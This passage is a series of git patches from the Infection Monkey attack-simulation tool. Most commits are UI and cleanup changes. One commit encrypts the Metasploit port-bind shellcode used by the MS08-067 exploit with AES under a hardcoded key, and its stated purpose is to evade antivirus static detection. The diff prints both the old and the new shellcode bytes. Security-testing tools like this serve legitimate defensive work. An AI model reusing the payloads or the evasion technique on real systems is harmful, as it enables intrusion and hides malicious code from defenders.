numbers: https://tc39.es/ecma262/#sec-tonumeric + if (this.isSafe(b.value) - this.isSafe(a.value) !== 0) { + return this.isSafe(b.value) - this.isSafe(a.value); } - if (this.isSafe(a.value) && !this.isSafe(b.value)) { - return -1; - } - - if (a.value < b.value) { - return -1 - } - - if (a.value > b.value) { - return 1 - } - - return 0; + return a.value.localeCompare(b.value); } onMasterCheckboxClick = () => { From 57554ca4357c1229d6089d7d0eaa0bad6f76c0e1 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 29 Jan 2021 11:02:54 -0500 Subject: [PATCH 221/466] ui: fix some code cleanliness issues --- .../cc/ui/src/components/ui-components/AdvancedMultiSelect.js | 4 ++-- .../cc/ui/src/components/ui-components/InfoPane.js | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js index 5a6cc6fcd..4963aca7c 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js @@ -104,7 +104,7 @@ class AdvancedMultiSelect extends React.Component { return MasterCheckboxState.NONE; } - if (selectValues.length != this.enumOptions.length) { + if (selectValues.length !== this.enumOptions.length) { return MasterCheckboxState.MIXED; } @@ -144,7 +144,7 @@ class AdvancedMultiSelect extends React.Component { title: definitionObj.title, content: definitionObj.info, link: definitionObj.link, - warningType: !(this.isSafe(itemKey)) ? WarningType.SINGLE : WarningType.NONE + warningType: this.isSafe(itemKey) ? WarningType.NONE : WarningType.SINGLE } } ); diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js b/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js index 21686b468..902646068 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js @@ -62,7 +62,7 @@ function getSubtitle(props) { function getBody(props) { let body = [{props.body}]; - if (props.warningType != WarningType.NONE) { + if (props.warningType !== WarningType.NONE) { body.push(getWarning(props.warningType)); } @@ -74,7 +74,7 @@ function getBody(props) { } function getWarning(warningType) { - if (warningType == WarningType.SINGLE) { + if (warningType === WarningType.SINGLE) { var warning = This option may cause a system to become unstable or may change a system's state in undesirable ways. Therefore, this option is not recommended for use in production or other sensitive From 1440121aeff3d042984be265e5951aacdec96eb2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 29 Jan 2021 11:04:46 -0500 Subject: [PATCH 222/466] ui: rename unsafeOptionsSelected() -> isUnsafeOptionSelected() --- .../ui-components/AdvancedMultiSelect.js | 14 +++++++------- .../cc/ui/src/components/ui-components/InfoPane.js | 4 ++-- 2 files changed, 9 insertions(+), 9 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js index 4963aca7c..0dc813dc6 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js @@ -44,7 +44,7 @@ class AdvancedMultiSelect extends React.Component { infoPaneParams: getDefaultPaneParams( this.infoPaneRefString, this.registry, - this.unsafeOptionsSelected(this.props.value) + this.isUnsafeOptionSelected(this.props.value) ) }; } @@ -71,7 +71,7 @@ class AdvancedMultiSelect extends React.Component { this.props.onChange(newValues); this.setMasterCheckboxState(newValues); this.setHideResetState(newValues); - this.setPaneInfoToDefault(this.unsafeOptionsSelected(newValues)); + this.setPaneInfoToDefault(this.isUnsafeOptionSelected(newValues)); } onChildCheckboxClick = (value) => { @@ -115,7 +115,7 @@ class AdvancedMultiSelect extends React.Component { this.props.onChange(this.defaultValues); this.setHideResetState(this.defaultValues); this.setMasterCheckboxState(this.defaultValues); - this.setPaneInfoToDefault(this.unsafeOptionsSelected(this.defaultValues)); + this.setPaneInfoToDefault(this.isUnsafeOptionSelected(this.defaultValues)); } setHideResetState(selectValues) { @@ -125,10 +125,10 @@ class AdvancedMultiSelect extends React.Component { } getHideResetState(selectValues) { - return !(this.unsafeOptionsSelected(selectValues)) + return !(this.isUnsafeOptionSelected(selectValues)) } - unsafeOptionsSelected(selectValues) { + isUnsafeOptionSelected(selectValues) { return !(selectValues.every((value) => this.isSafe(value))); } @@ -150,12 +150,12 @@ class AdvancedMultiSelect extends React.Component { ); } - setPaneInfoToDefault(unsafeOptionsSelected) { + setPaneInfoToDefault(isUnsafeOptionSelected) { this.setState(() => ({ infoPaneParams: getDefaultPaneParams( this.props.schema.items.$ref, this.props.registry, - unsafeOptionsSelected + isUnsafeOptionSelected ) })); } diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js b/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js index 902646068..e6476d3a2 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js @@ -12,13 +12,13 @@ const WarningType = { MULTIPLE: 2 } -function getDefaultPaneParams(refString, registry, unsafeOptionsSelected) { +function getDefaultPaneParams(refString, registry, isUnsafeOptionSelected) { let configSection = getObjectFromRegistryByRef(refString, registry); return ( { title: configSection.title, content: configSection.description, - warningType: unsafeOptionsSelected ? WarningType.Multiple : WarningType.NONE + warningType: isUnsafeOptionSelected ? WarningType.Multiple : WarningType.NONE }); } From 284cc3afdbbfe3ca1a3f1e31dd45014114629148 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 29 Jan 2021 18:17:32 +0200 Subject: [PATCH 223/466] Removed scoutsuite telemetry processing as there's nothing to process and other minor code improvements --- .../cc/models/zero_trust/scoutsuite_rule.py | 6 +++--- .../processing/system_info_collectors/scoutsuite.py | 9 --------- .../system_info_telemetry_dispatcher.py | 4 +--- .../scoutsuite/test_scoutsuite_auth_service.py | 1 + 4 files changed, 5 insertions(+), 15 deletions(-) delete mode 100644 monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/scoutsuite.py diff --git a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py index dee49983a..fcf09df9c 100644 --- a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py +++ b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py @@ -5,9 +5,9 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts import rule_consts class ScoutSuiteRule(EmbeddedDocument): """ - This model represents additional information about monkey finding: - Events if monkey finding - Scoutsuite findings if scoutsuite finding + This model represents ScoutSuite security rule check results: + how many resources break the security rule + security rule description and remediation and etc. """ # SCHEMA diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/scoutsuite.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/scoutsuite.py deleted file mode 100644 index 2c3ab4f52..000000000 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/scoutsuite.py +++ /dev/null @@ -1,9 +0,0 @@ -import json -import logging - -logger = logging.getLogger(__name__) - - -def process_scout_suite_telemetry(collector_results, monkey_guid): - # Monkey.get_single_monkey_by_guid(monkey_guid).set_hostname(collector_results["hostname"]) - logger.info(f"ScoutSuite results:\n{json.dumps(collector_results, indent=2)}") diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py index 454657b27..c84704a0b 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py @@ -6,7 +6,6 @@ from common.common_consts.system_info_collectors_names import (AWS_COLLECTOR, EN from .aws import process_aws_telemetry from .environment import process_environment_telemetry from .hostname import process_hostname_telemetry -from .scoutsuite import process_scout_suite_telemetry from monkey_island.cc.services.telemetry.zero_trust_checks.antivirus_existence import check_antivirus_existence logger = logging.getLogger(__name__) @@ -15,8 +14,7 @@ SYSTEM_INFO_COLLECTOR_TO_TELEMETRY_PROCESSORS = { AWS_COLLECTOR: [process_aws_telemetry], ENVIRONMENT_COLLECTOR: [process_environment_telemetry], HOSTNAME_COLLECTOR: [process_hostname_telemetry], - PROCESS_LIST_COLLECTOR: [check_antivirus_existence], - SCOUTSUITE_COLLECTOR: [process_scout_suite_telemetry] + PROCESS_LIST_COLLECTOR: [check_antivirus_existence] } diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py index 322af5af6..24e700ce6 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py @@ -14,6 +14,7 @@ from monkey_island.cc.test_common.fixtures import FixtureEnum class MockObject: pass + @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_is_aws_keys_setup(): # Mock default configuration From a5acf4c4b55699b0b8fbba325dfe9541497527e3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 29 Jan 2021 21:53:42 -0500 Subject: [PATCH 224/466] github: add a more descriptive explanation of a spike --- .github/ISSUE_TEMPLATE/spike.md | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/.github/ISSUE_TEMPLATE/spike.md b/.github/ISSUE_TEMPLATE/spike.md index 1060ccef8..d42784cba 100644 --- a/.github/ISSUE_TEMPLATE/spike.md +++ b/.github/ISSUE_TEMPLATE/spike.md @@ -1,6 +1,6 @@ --- name: "βŒ›Spike" -about: Create a spike. +about: Create a spike to investigate a cool idea. title: '' labels: Spike assignees: '' @@ -9,6 +9,11 @@ assignees: '' # Spike + + ## Objective _A description of this spike's objective._ From c8c763d918ef8dbb408400f9f03a4ce134c43d75 Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 29 Jan 2021 18:48:48 +0530 Subject: [PATCH 225/466] Store converted techniques' messages (markdown to HTML) separately --- .../cc/ui/src/components/attack/techniques/T1003.js | 2 +- .../cc/ui/src/components/attack/techniques/T1005.js | 2 +- .../cc/ui/src/components/attack/techniques/T1016.js | 2 +- .../cc/ui/src/components/attack/techniques/T1018.js | 2 +- .../cc/ui/src/components/attack/techniques/T1021.js | 2 +- .../cc/ui/src/components/attack/techniques/T1035.js | 2 +- .../cc/ui/src/components/attack/techniques/T1041.js | 2 +- .../cc/ui/src/components/attack/techniques/T1053.js | 2 +- .../cc/ui/src/components/attack/techniques/T1059.js | 2 +- .../cc/ui/src/components/attack/techniques/T1064.js | 2 +- .../cc/ui/src/components/attack/techniques/T1065.js | 2 +- .../cc/ui/src/components/attack/techniques/T1075.js | 2 +- .../cc/ui/src/components/attack/techniques/T1082.js | 2 +- .../cc/ui/src/components/attack/techniques/T1086.js | 2 +- .../cc/ui/src/components/attack/techniques/T1087.js | 2 +- .../cc/ui/src/components/attack/techniques/T1090.js | 2 +- .../cc/ui/src/components/attack/techniques/T1099.js | 2 +- .../cc/ui/src/components/attack/techniques/T1105.js | 2 +- .../cc/ui/src/components/attack/techniques/T1106.js | 2 +- .../cc/ui/src/components/attack/techniques/T1107.js | 2 +- .../cc/ui/src/components/attack/techniques/T1110.js | 2 +- .../cc/ui/src/components/attack/techniques/T1129.js | 2 +- .../cc/ui/src/components/attack/techniques/T1136.js | 2 +- .../cc/ui/src/components/attack/techniques/T1145.js | 2 +- .../cc/ui/src/components/attack/techniques/T1146.js | 2 +- .../cc/ui/src/components/attack/techniques/T1154.js | 2 +- .../cc/ui/src/components/attack/techniques/T1156.js | 2 +- .../cc/ui/src/components/attack/techniques/T1158.js | 2 +- .../cc/ui/src/components/attack/techniques/T1166.js | 2 +- .../cc/ui/src/components/attack/techniques/T1168.js | 2 +- .../cc/ui/src/components/attack/techniques/T1188.js | 2 +- .../cc/ui/src/components/attack/techniques/T1197.js | 2 +- .../cc/ui/src/components/attack/techniques/T1210.js | 2 +- .../cc/ui/src/components/attack/techniques/T1216.js | 2 +- .../cc/ui/src/components/attack/techniques/T1222.js | 2 +- .../cc/ui/src/components/attack/techniques/T1504.js | 2 +- .../cc/ui/src/components/report-components/AttackReport.js | 4 ++-- 37 files changed, 38 insertions(+), 38 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js index f58f870c1..1a93c8e06 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js @@ -14,7 +14,7 @@ class T1003 extends React.Component { render() { return (
-
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.services.length !== 0 ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.scripts.length !== 0 ? -
{this.props.data.message}
+
{this.props.data.message_html}
); diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js index 330f7d129..9b2850dfa 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js @@ -33,7 +33,7 @@ class T1075 extends React.Component { render() { return (
-
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status !== ScanStatus.UNSCANNED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.api_uses.length !== 0 ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.deleted_files.length !== 0 ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status !== ScanStatus.UNSCANNED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.dlls.length !== 0 ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ?
-
{this.props.data.message}
+
{this.props.data.message_html}
{this.props.data.bits_jobs.length > 0 ?
BITS jobs were used in these machines:
: ''}

diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js index 3bb6ad8c9..1a25d2ad5 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js @@ -95,7 +95,7 @@ class T1210 extends React.Component { let scanned_services = this.props.data.scanned_services.map(T1210.formatScanned).flat(); return (
-
{this.props.data.message}
+
{this.props.data.message_html}
{scanned_services.length > 0 ? this.renderScannedServices(scanned_services) : ''} {this.props.data.exploited_services.length > 0 ? diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1216.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1216.js index e608492a1..d65ab6a42 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1216.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1216.js @@ -27,7 +27,7 @@ class T1216 extends React.Component { render() { return (
-
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? ; + techniques[tech_id]['message_html'] =
; } return techniques From 9f12702c3e835f90171a0d474d760015fb71ca53 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 1 Feb 2021 06:57:04 -0500 Subject: [PATCH 226/466] ui: code readability improvements --- .../components/ui-components/ChildCheckbox.js | 9 +--- .../src/components/ui-components/InfoPane.js | 41 ++++++++++--------- 2 files changed, 23 insertions(+), 27 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/ChildCheckbox.js b/monkey/monkey_island/cc/ui/src/components/ui-components/ChildCheckbox.js index 47a86dab6..6ebe69985 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/ChildCheckbox.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/ChildCheckbox.js @@ -52,18 +52,13 @@ function ChildCheckbox(props) { safe } = props; - let displayLabel = [{label}]; - - if (!safe) { - displayLabel.push() - } - return ( onPaneClick(value)}> - {displayLabel} + {label} + {!safe && } ); } diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js b/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js index e6476d3a2..21e71e29f 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js @@ -60,37 +60,38 @@ function getSubtitle(props) { } function getBody(props) { - let body = [{props.body}]; - - if (props.warningType !== WarningType.NONE) { - body.push(getWarning(props.warningType)); - } - return ( - {body} + {props.body} + {props.warningType !== WarningType.NONE && getWarning(props.warningType)} ) } function getWarning(warningType) { - if (warningType === WarningType.SINGLE) { - var warning = This option may cause a system to become unstable or - may change a system's state in undesirable ways. Therefore, this option - is not recommended for use in production or other sensitive - environments.; - } else { - warning = Some options have been selected that may cause a system - to become unstable or may change a system's state in undesirable ways. - Running Infection Monkey in a production or other sensitive environment - with this configuration is not recommended.; - } - return (
- {warning} + {warningType === WarningType.SINGLE ? getSingleOptionWarning() : getMultipleOptionsWarning()}
); } +function getSingleOptionWarning() { + return ( + This option may cause a system to become unstable or + may change a system's state in undesirable ways. Therefore, this option + is not recommended for use in production or other sensitive + environments. + ); +} + +function getMultipleOptionsWarning() { + return ( + Some options have been selected that may cause a system + to become unstable or may change a system's state in undesirable ways. + Running Infection Monkey in a production or other sensitive environment + with this configuration is not recommended. + ); +} + export {getDefaultPaneParams, InfoPane, WarningType} From 09a8415aec98963aa575d04f0de8950d185398da Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 1 Feb 2021 07:14:15 -0500 Subject: [PATCH 227/466] ui: remove disabled/readonly from AdvancedMultiSelect --- .../src/components/ui-components/AdvancedMultiSelect.js | 9 +++------ .../cc/ui/src/components/ui-components/ChildCheckbox.js | 8 +++----- .../cc/ui/src/components/ui-components/MasterCheckbox.js | 3 +-- 3 files changed, 7 insertions(+), 13 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js index 0dc813dc6..670b99cd7 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js @@ -11,7 +11,6 @@ import {getFullDefinitionByKey} from './JsonSchemaHelpers'; function AdvancedMultiSelectHeader(props) { const { title, - disabled, onCheckboxClick, checkboxState, hideReset, @@ -20,7 +19,7 @@ function AdvancedMultiSelectHeader(props) { return ( - + {label} diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/MasterCheckbox.js b/monkey/monkey_island/cc/ui/src/components/ui-components/MasterCheckbox.js index b5a646aca..907ccf08f 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/MasterCheckbox.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/MasterCheckbox.js @@ -15,7 +15,6 @@ const MasterCheckboxState = { function MasterCheckbox(props) { const { title, - disabled, onClick, checkboxState } = props; @@ -30,7 +29,7 @@ function MasterCheckbox(props) { return (
- {title} From e6e61f946ceca1736406b44b1d1da884aa643e5d Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 1 Feb 2021 14:15:21 +0200 Subject: [PATCH 228/466] Changed payload obfuscation method into encryption algorithm in an attempt to avoid AV static detection. --- monkey/common/utils/shellcode_obfuscator.py | 28 ++++++----- .../infection_monkey/exploit/win_ms08_067.py | 49 +++++++++++-------- 2 files changed, 46 insertions(+), 31 deletions(-) diff --git a/monkey/common/utils/shellcode_obfuscator.py b/monkey/common/utils/shellcode_obfuscator.py index 10ee07c79..686347359 100644 --- a/monkey/common/utils/shellcode_obfuscator.py +++ b/monkey/common/utils/shellcode_obfuscator.py @@ -1,23 +1,29 @@ # This code is used to obfuscate shellcode # Usage: # shellcode_obfuscator.py [your normal shellcode]. -# For example: -# shellcode_obfuscator.py "\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30" -# This returns "\x30\x76\x7b\x07\xa8\x3d\x7e\x62\xe0\x5d\x4b\xc9\xf6\x3d\x52" -# Verify that it's the same shellcode, just reversed and paste it in code. -# Then clarify it before usage to reverse it on runtime. import sys +from Crypto.Cipher import AES -def obfuscate(shellcode: str) -> str: - shellcode = shellcode.split('\\')[::-1] - return '\\'+'\\'.join(shellcode)[:-1] +# We only encrypt payloads to hide them from static analysis +# it's OK to have these keys plaintext +KEY = b'1234567890123456' +NONCE = b'\x93n2\xbc\xf5\x8d:\xc2fP\xabn\x02\xb3\x17f' -def clarify(shellcode: str) -> str: - return shellcode[::-1] +# Use this manually to get obfuscated bytes of shellcode +def obfuscate(shellcode: bytes) -> bytes: + cipher = AES.new(KEY, AES.MODE_EAX, nonce=NONCE) + ciphertext, _ = cipher.encrypt_and_digest(shellcode) + return ciphertext + + +def clarify(shellcode: bytes) -> bytes: + cipher = AES.new(KEY, AES.MODE_EAX, nonce=NONCE) + plaintext = cipher.decrypt(shellcode) + return plaintext if __name__ == "__main__": - print(obfuscate(sys.argv[1])) + print(obfuscate(sys.argv[1].encode())) diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py index 7e26198c6..43a86bfff 100644 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ b/monkey/infection_monkey/exploit/win_ms08_067.py @@ -28,27 +28,36 @@ from infection_monkey.network.tools import check_tcp_port LOG = getLogger(__name__) # Portbind shellcode from metasploit; Binds port to TCP port 4444 -OBFUSCATED_SHELLCODE = ("\xa9\xb6\x4a\x39\x56\x60\xb5\xba\xf6\xb2\xc0\x19\xc1\x66\xb5\xbb\x7f\x49\x2e" - "\x2d\x2a\x4a\x1d\x62\x79\x49\x7d\x16\x56\xdc\x9c\x16\xfa\x78\x4f\x30\x04\xde" - "\x9a\x16\xf8\xe3\x1b\xb8\xa8\xdc\x1b\xb8\xf8\xe4\x1d\xb2\x7f\x49\x0e\x9c\x56" - "\xa0\xf9\x17\xdb\xde\xe1\x42\x02\x8e\x30\x64\x3a\x9a\x08\x17\x84\xf4\xb4\x43" - "\x5a\x76\x7b\x0b\x20\xf2\x20\x0e\x20\x7a\x63\xb0\xf9\xdc\xaf\x60\xc4\xd5\x22" - "\x8f\xcd\xdc\x2c\x39\x56\xe3\x9c\x16\xfe\xcf\x8c\x90\x4e\xde\xd9\x39\x56\xe3" - "\x1e\xbd\xf9\x60\xb5\xbe\xe0\x30\x03\x0c\xc1\x66\xb5\xbc\xfa\x60\xb5\xbe\x40" - "\x98\xe7\x4d\xc1\x66\xb5\xbc\xf8\xa6\x20\x3f\x56\xe1\x8d\x99\xb3\x12\x22\x7c" - "\x48\x3f\x19\x8f\xf5\xa7\x22\x8f\x79\x49\x19\xaa\xfa\xf5\x19\xba\xfa\xe5\x19" - "\x3f\x56\xe1\xe7\x1c\xa0\x6f\x22\x39\x56\xb4\x20\xbc\xab\xbe\xa7\x68\xcf\x53" - "\xc3\xb6\x7f\x49\x1a\xd2\x55\x5b\x81\x81\x79\x49\x1e\xb6\x9b\xc5\x3d\x81\x9b" - "\x85\x22\x8f\xfa\xd0\x9c\x16\xf9\x5a\x44\xa7\x27\xde\x14\xe1\xe9\x3d\xe7\xf5" - "\xd9\x3d\x46\xa9\x22\x86\x09\x62\xcd\x6d\x7b\x2a\xc8\xaa\x6e\x85\x20\x3d\x66" - "\xea\x42\xb7\x56\xb6\x22\xfd\x46\x62\xcf\x5d\x4b\xcd\xf6\x3d\xaf\x9c\x81\x92" - "\x1e\xd2\x5d\x5d\x88\xe8\xa4\x7c\x8b\xee\xdd\x76\xce\x45\x30\x76\x7b\x07\xa8" - "\x3d\x7e\x62\xe0\x5d\x4b\xc9\xf6\x3d\x52\xa6\x22\x59\x4b\x91\xac\xca\xc1\xd5" - "\xec\x3d\x6e\xcd\xc5\x3d\x2a\x16\x56\x49\xb3\x01\xe4\x5d\x20\x15\xf4\xe2\xfc" - "\xee\x83\xa9\xb6\x4a\xe9\x0e\x76\x81\x5e\xc0\xff\xff\xff\xff\xe8\xb0\xe9\x83" - "\xc9\x29\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90") +OBFUSCATED_SHELLCODE = (b'4\xf6kPF\xc5\x9bI,\xab\x1d' + b'\xa0\x92Y\x88\x1b$\xa0hK\x03\x0b\x0b\xcf\xe7\xff\x9f\x9d\xb6&J' + b'\xdf\x1b\xad\x1b5\xaf\x84\xed\x99\x01\'\xa8\x03\x90\x01\xec\x13' + b'\xfb\xf9!\x11\x1dc\xd9*\xb4\xd8\x9c\xf1\xb8\xb9\xa1;\x93\xc1\x8dq' + b'\xe4\xe1\xe5?%\x1a\x96\x96\xb5\x94\x19\xb5o\x0c\xdb\x89Cq\x14M\xf8' + b'\x02\xfb\xe5\x88hL\xc4\xcdd\x90\x8bc\xff\xe3\xb8z#\x174\xbd\x00J' + b'\x1c\xc1\xccM\x94\x90tm\x89N"\xd4-') -SHELLCODE = clarify(OBFUSCATED_SHELLCODE) +SHELLCODE = clarify(OBFUSCATED_SHELLCODE).decode() XP_PACKET = ("\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43" "\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01" From cc9b88b8e579a4e09acfe7c1b87825eedd3a5573 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 2 Feb 2021 13:47:45 -0500 Subject: [PATCH 229/466] ui: fix spelling error catagory -> category Fixes #689 --- .../monkey_island/cc/ui/src/components/pages/TelemetryPage.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js b/monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js index faa9ad138..b4a7d25d8 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js @@ -15,7 +15,7 @@ const renderTime = (val) => val.split('.')[0]; const columns = [ {title: 'Time', prop: 'timestamp', render: renderTime}, {title: 'Monkey', prop: 'monkey'}, - {title: 'Type', prop: 'telem_catagory'}, + {title: 'Type', prop: 'telem_category'}, {title: 'Details', prop: 'data', render: renderJson, width: '40%'} ]; From c8b4089bd2a11b158059f3601195a5c67da7355d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 1 Feb 2021 17:06:11 -0500 Subject: [PATCH 230/466] ui: display cross-segment issues as "pinged" if no services/ports Issue #819 --- .../report-components/SecurityReport.js | 70 ++++++++++++++----- 1 file changed, 52 insertions(+), 18 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 63749ced1..9a4e2120a 100644 --- 